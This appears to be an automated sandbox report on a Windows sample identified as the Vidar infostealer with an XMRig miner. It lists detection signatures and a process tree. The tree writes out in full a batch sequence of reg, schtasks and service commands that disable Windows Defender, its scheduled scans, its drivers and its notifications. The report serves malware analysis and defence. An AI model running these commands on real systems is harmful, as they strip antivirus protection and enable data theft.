Overview

overview

10

Static

static

3

file.exe

windows10-2004-x64

10

file.exe

windows11-21h2-x64

10

Analysis

  • max time kernel
    131s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    30/04/2026, 22:04

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    file.exe
  • Size 3.1MB
  • Sample260430-1y4f5sat21
  • SHA256 bee8b62453ff94b7398267687b977261d5e6b2651e218c513c8b5593b3206538
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
collectiondefense_evasiondiscoveryevasionexecutionvidarxmrigminerpersistencespywarestealerthemidatrojan

Malware Config

Signatures

  • Family: Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Detects Vidar Stealer 4 IoCs
    stealer
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 28 IoCs
    defense_evasiontrojan
  • Modifies Windows Defender notification settings 3 TTPs 6 IoCs
    defense_evasiontrojan
  • Modifies security service 2 TTPs 1 IoCs
    defense_evasion
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 5 IoCs
    defense_evasion
  • XMRig Miner payload 2 IoCs
    miner
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

    execution
  • Downloads MZ/PE file 1 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Checks BIOS information in registry 2 TTPs 10 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Creates new service(s) 2 TTPs
    persistenceexecution
  • Executes dropped EXE 5 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Themida packer 38 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Accesses Microsoft Outlook profiles 1 TTPs 4 IoCs
    collection
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 5 IoCs
    defense_evasiontrojan
  • Modifies Security services 2 TTPs 3 IoCs

    Modifies the startup behavior of a security service.

    defense_evasion
  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

    persistence
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Program Files directory 33 IoCs
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 50 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Time Discovery 1 TTPs 3 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

    discovery
  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 9 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 4 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 42 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 32 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Downloads MZ/PE file
    • Accesses Microsoft Outlook profiles
    • Checks processor information in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    • outlook_office_path
    • outlook_win_path
    PID:4268
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default"
      2⤵
      • Enumerates system info in registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:1204
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ff87dcdc728,0x7ff87dcdc734,0x7ff87dcdc740
        3⤵
          PID:4628
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1864,i,2921050328765227060,16007519033625581383,524288 --field-trial-handle=1992,i,497930914212595877,1238155399086478669,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2120 /prefetch:3
          3⤵
          • System Time Discovery
          PID:5092
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1672,i,2830125809326459932,7179939479155895318,262144 --field-trial-handle=1992,i,497930914212595877,1238155399086478669,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=1988 /prefetch:2
          3⤵
            PID:5432
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2416,i,2135435852617004351,4780539134157801883,524288 --field-trial-handle=1992,i,497930914212595877,1238155399086478669,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2592 /prefetch:8
            3⤵
              PID:2064
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3240,i,2657242154342490410,4730367699534329261,2097152 --field-trial-handle=1992,i,497930914212595877,1238155399086478669,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3244 /prefetch:1
              3⤵
                PID:4472
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3260,i,16665278474241188942,3307567123254769339,2097152 --field-trial-handle=1992,i,497930914212595877,1238155399086478669,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3268 /prefetch:1
                3⤵
                  PID:3228
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4376,i,10404975738032910379,9313250495075712296,2097152 --field-trial-handle=1992,i,497930914212595877,1238155399086478669,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4392 /prefetch:2
                  3⤵
                    PID:4952
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4636,i,13506081399268397398,884131240309728681,2097152 --field-trial-handle=1992,i,497930914212595877,1238155399086478669,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4580 /prefetch:1
                    3⤵
                      PID:4076
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory="Default"
                    2⤵
                    • Checks processor information in registry
                    • Enumerates system info in registry
                    • Modifies data under HKEY_USERS
                    • Modifies registry class
                    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                    • Suspicious use of FindShellTrayWindow
                    • Suspicious use of WriteProcessMemory
                    PID:676
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2c4,0x2c8,0x2cc,0x2c0,0x35c,0x7ff87dcbc188,0x7ff87dcbc194,0x7ff87dcbc1a0
                      3⤵
                        PID:4216
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1960,i,1338804040231014177,7863954024717069188,524288 --field-trial-handle=2860,i,12682049608733332962,6626169783409910978,262144 --variations-seed-version --mojo-platform-channel-handle=2976 /prefetch:3
                        3⤵
                        • System Time Discovery
                        PID:5004
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1752,i,7463799323700523871,10035207654062584100,262144 --field-trial-handle=2860,i,12682049608733332962,6626169783409910978,262144 --variations-seed-version --mojo-platform-channel-handle=2856 /prefetch:2
                        3⤵
                          PID:64
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2348,i,6238571411018863494,6349171677057292053,524288 --field-trial-handle=2860,i,12682049608733332962,6626169783409910978,262144 --variations-seed-version --mojo-platform-channel-handle=2952 /prefetch:8
                          3⤵
                            PID:1768
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3444,i,15205643550704533296,747960431961086540,2097152 --field-trial-handle=2860,i,12682049608733332962,6626169783409910978,262144 --variations-seed-version --mojo-platform-channel-handle=3484 /prefetch:1
                            3⤵
                              PID:5904
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3464,i,12409332816438811860,17984238122958451841,2097152 --field-trial-handle=2860,i,12682049608733332962,6626169783409910978,262144 --variations-seed-version --mojo-platform-channel-handle=3492 /prefetch:1
                              3⤵
                                PID:1980
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5084,i,17229600256776685906,2288271439517155428,524288 --field-trial-handle=2860,i,12682049608733332962,6626169783409910978,262144 --variations-seed-version --mojo-platform-channel-handle=5140 /prefetch:8
                                3⤵
                                  PID:5808
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5088,i,3978603523214248929,10374371655466653955,524288 --field-trial-handle=2860,i,12682049608733332962,6626169783409910978,262144 --variations-seed-version --mojo-platform-channel-handle=5180 /prefetch:8
                                  3⤵
                                    PID:3720
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6124,i,14369188219335997105,5486126990063201568,524288 --field-trial-handle=2860,i,12682049608733332962,6626169783409910978,262144 --variations-seed-version --mojo-platform-channel-handle=6196 /prefetch:8
                                    3⤵
                                      PID:5508
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6124,i,14369188219335997105,5486126990063201568,524288 --field-trial-handle=2860,i,12682049608733332962,6626169783409910978,262144 --variations-seed-version --mojo-platform-channel-handle=6196 /prefetch:8
                                      3⤵
                                        PID:5564
                                    • C:\Windows\SYSTEM32\cmd.exe
                                      cmd /c start "" "C:\Users\Admin\AppData\Local\Temp\fi2lL4bBC2.exe"
                                      2⤵
                                      • Suspicious use of WriteProcessMemory
                                      PID:2772
                                      • C:\Users\Admin\AppData\Local\Temp\fi2lL4bBC2.exe
                                        "C:\Users\Admin\AppData\Local\Temp\fi2lL4bBC2.exe"
                                        3⤵
                                        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                        • Checks BIOS information in registry
                                        • Executes dropped EXE
                                        • Checks whether UAC is enabled
                                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                                        • System Location Discovery: System Language Discovery
                                        • Suspicious use of WriteProcessMemory
                                        PID:5260
                                        • C:\ProgramData\Chrome146\Chrome145.exe
                                          "C:\ProgramData\Chrome146\Chrome145.exe"
                                          4⤵
                                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                          • Checks BIOS information in registry
                                          • Executes dropped EXE
                                          • Checks whether UAC is enabled
                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                          • Suspicious use of SetThreadContext
                                          • Drops file in Program Files directory
                                          • System Location Discovery: System Language Discovery
                                          • Suspicious behavior: AddClipboardFormatListener
                                          • Suspicious behavior: GetForegroundWindowSpam
                                          • Suspicious use of AdjustPrivilegeToken
                                          • Suspicious use of WriteProcessMemory
                                          PID:4032
                                          • C:\Windows\SysWOW64\cmd.exe
                                            C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\CxyQKb\Be9246pvBD\1.bat"
                                            5⤵
                                            • System Location Discovery: System Language Discovery
                                            • Suspicious use of WriteProcessMemory
                                            PID:5460
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
                                              6⤵
                                              • System Location Discovery: System Language Discovery
                                              PID:556
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "AllowFastServiceStartup" /t REG_DWORD /d "0" /f
                                              6⤵
                                              • System Location Discovery: System Language Discovery
                                              PID:3296
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
                                              6⤵
                                              • Modifies Windows Defender DisableAntiSpyware settings
                                              • System Location Discovery: System Language Discovery
                                              PID:5224
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                                              6⤵
                                              • System Location Discovery: System Language Discovery
                                              PID:6056
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableLocalAdminMerge" /t REG_DWORD /d "1" /f
                                              6⤵
                                              • System Location Discovery: System Language Discovery
                                              PID:5060
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableSpecialRunningModes" /t REG_DWORD /d "1" /f
                                              6⤵
                                              • System Location Discovery: System Language Discovery
                                              PID:4468
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "ServiceKeepAlive" /t REG_DWORD /d "0" /f
                                              6⤵
                                              • System Location Discovery: System Language Discovery
                                              PID:388
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                                              6⤵
                                              • System Location Discovery: System Language Discovery
                                              PID:3772
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                                              6⤵
                                              • Modifies Windows Defender Real-time Protection settings
                                              • System Location Discovery: System Language Discovery
                                              PID:2904
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIntrusionPreventionSystem" /t REG_DWORD /d "1" /f
                                              6⤵
                                              • Modifies Windows Defender Real-time Protection settings
                                              • System Location Discovery: System Language Discovery
                                              PID:5312
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                                              6⤵
                                              • Modifies Windows Defender Real-time Protection settings
                                              • System Location Discovery: System Language Discovery
                                              PID:6112
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                                              6⤵
                                              • Modifies Windows Defender Real-time Protection settings
                                              • System Location Discovery: System Language Discovery
                                              PID:5936
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRawWriteNotification" /t REG_DWORD /d "1" /f
                                              6⤵
                                              • Modifies Windows Defender Real-time Protection settings
                                              • System Location Discovery: System Language Discovery
                                              PID:6008
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                                              6⤵
                                              • Modifies Windows Defender Real-time Protection settings
                                              • System Location Discovery: System Language Discovery
                                              PID:4008
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRoutinelyTakingAction" /t REG_DWORD /d "1" /f
                                              6⤵
                                              • Modifies Windows Defender Real-time Protection settings
                                              • System Location Discovery: System Language Discovery
                                              PID:3820
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                                              6⤵
                                              • Modifies Windows Defender Real-time Protection settings
                                              • System Location Discovery: System Language Discovery
                                              PID:3440
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "LocalSettingOverrideDisableBehaviorMonitoring" /t REG_DWORD /d "0" /f
                                              6⤵
                                              • Modifies Windows Defender Real-time Protection settings
                                              • System Location Discovery: System Language Discovery
                                              PID:4752
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "LocalSettingOverrideDisableIntrusionPreventionSystem" /t REG_DWORD /d "0" /f
                                              6⤵
                                              • Modifies Windows Defender Real-time Protection settings
                                              • System Location Discovery: System Language Discovery
                                              PID:4896
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "LocalSettingOverrideDisableIOAVProtection" /t REG_DWORD /d "0" /f
                                              6⤵
                                              • Modifies Windows Defender Real-time Protection settings
                                              • System Location Discovery: System Language Discovery
                                              PID:6028
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "LocalSettingOverrideDisableOnAccessProtection" /t REG_DWORD /d "0" /f
                                              6⤵
                                              • Modifies Windows Defender Real-time Protection settings
                                              • System Location Discovery: System Language Discovery
                                              PID:5624
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "LocalSettingOverrideDisableRealtimeMonitoring" /t REG_DWORD /d "0" /f
                                              6⤵
                                              • Modifies Windows Defender Real-time Protection settings
                                              • System Location Discovery: System Language Discovery
                                              PID:4576
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "LocalSettingOverrideRealtimeScanDirection" /t REG_DWORD /d "0" /f
                                              6⤵
                                              • Modifies Windows Defender Real-time Protection settings
                                              • System Location Discovery: System Language Discovery
                                              PID:4148
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                                              6⤵
                                              • System Location Discovery: System Language Discovery
                                              PID:3912
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
                                              6⤵
                                              • System Location Discovery: System Language Discovery
                                              PID:4584
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                                              6⤵
                                              • System Location Discovery: System Language Discovery
                                              PID:1440
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
                                              6⤵
                                              • System Location Discovery: System Language Discovery
                                              PID:3148
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                                              6⤵
                                              • System Location Discovery: System Language Discovery
                                              PID:1936
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                                              6⤵
                                              • System Location Discovery: System Language Discovery
                                              PID:1016
                                            • C:\Windows\SysWOW64\schtasks.exe
                                              schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                              6⤵
                                              • System Location Discovery: System Language Discovery
                                              PID:3876
                                            • C:\Windows\SysWOW64\schtasks.exe
                                              schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                              6⤵
                                              • System Location Discovery: System Language Discovery
                                              PID:5752
                                            • C:\Windows\SysWOW64\schtasks.exe
                                              schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                              6⤵
                                              • System Location Discovery: System Language Discovery
                                              PID:5996
                                            • C:\Windows\SysWOW64\schtasks.exe
                                              schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                              6⤵
                                              • System Location Discovery: System Language Discovery
                                              PID:1712
                                            • C:\Windows\SysWOW64\schtasks.exe
                                              schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                              6⤵
                                              • System Location Discovery: System Language Discovery
                                              PID:4060
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                              6⤵
                                              • System Location Discovery: System Language Discovery
                                              PID:4596
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                              6⤵
                                              • System Location Discovery: System Language Discovery
                                              PID:2240
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                              6⤵
                                              • System Location Discovery: System Language Discovery
                                              PID:1364
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg add "HKLM\System\CurrentControlSet\Services\MDCoreSvc" /v "Start" /t REG_DWORD /d "4" /f
                                              6⤵
                                              • System Location Discovery: System Language Discovery
                                              PID:5324
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                              6⤵
                                              • Modifies Security services
                                              • System Location Discovery: System Language Discovery
                                              PID:3136
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                              6⤵
                                              • Modifies Security services
                                              • System Location Discovery: System Language Discovery
                                              PID:3776
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                              6⤵
                                              • Modifies Security services
                                              • System Location Discovery: System Language Discovery
                                              PID:4152
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                              6⤵
                                              • Modifies security service
                                              • System Location Discovery: System Language Discovery
                                              PID:3804
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
                                              6⤵
                                              • System Location Discovery: System Language Discovery
                                              PID:2368
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
                                              6⤵
                                              • System Location Discovery: System Language Discovery
                                              PID:5564
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg add "HKLM\Software\Microsoft\Windows Defender Security Center\Notifications" /v "DisableNotifications" /t REG_DWORD /d "1" /f
                                              6⤵
                                              • Modifies Windows Defender notification settings
                                              • System Location Discovery: System Language Discovery
                                              PID:4984
